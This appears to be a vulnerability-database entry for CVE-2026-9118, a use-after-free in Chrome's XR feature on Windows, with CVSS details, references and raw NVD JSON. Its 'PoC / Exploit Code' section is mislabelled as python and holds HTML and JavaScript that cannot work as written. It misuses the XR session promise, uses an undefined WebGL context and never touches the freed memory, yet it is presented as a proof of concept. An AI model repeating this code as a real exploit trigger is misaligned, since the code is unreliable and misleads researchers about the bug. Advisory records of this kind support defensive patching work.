CVE-2026-9118

Description

Use after free in XR in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Windows) < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9118 -->
<!-- This PoC demonstrates the trigger mechanism for the XR Use-After-Free -->
<html>
<head>
<script>
    // Attempt to trigger the UAF in Chrome XR
    window.onload = function() {
        try {
            // Setup XR session to allocate memory
            const xrSession = navigator.xr.requestSession('immersive-vr');
            
            // Manipulate objects to force premature free
            let vulnerableObject = new XRWebGLLayer(xrSession, glContext);
            
            // Trigger the free sequence
            vulnerableObject = null;
            
            // Force garbage collection (implementation dependent)
            if (window.gc) window.gc();
            
            // Attempt to reuse the memory (Access violation or crash)
            // In a real exploit, this memory would be sprayed with payload
            console.log("Attempting to access freed memory...");
            
        } catch (e) {
            console.log("Error: " + e.message);
        }
    }
</script>
</head>
<body>
    <h1>CVE-2026-9118 PoC</h1>
    <p>Check console for crash details.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9118
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9118
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9118/
[4] VulDB https://vuldb.com/cve/CVE-2026-9118
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/498702233

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9118", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:43.200", "lastModified": "2026-05-20T20:16:43.200", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in XR in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498702233", "source": "[email protected]"}]}}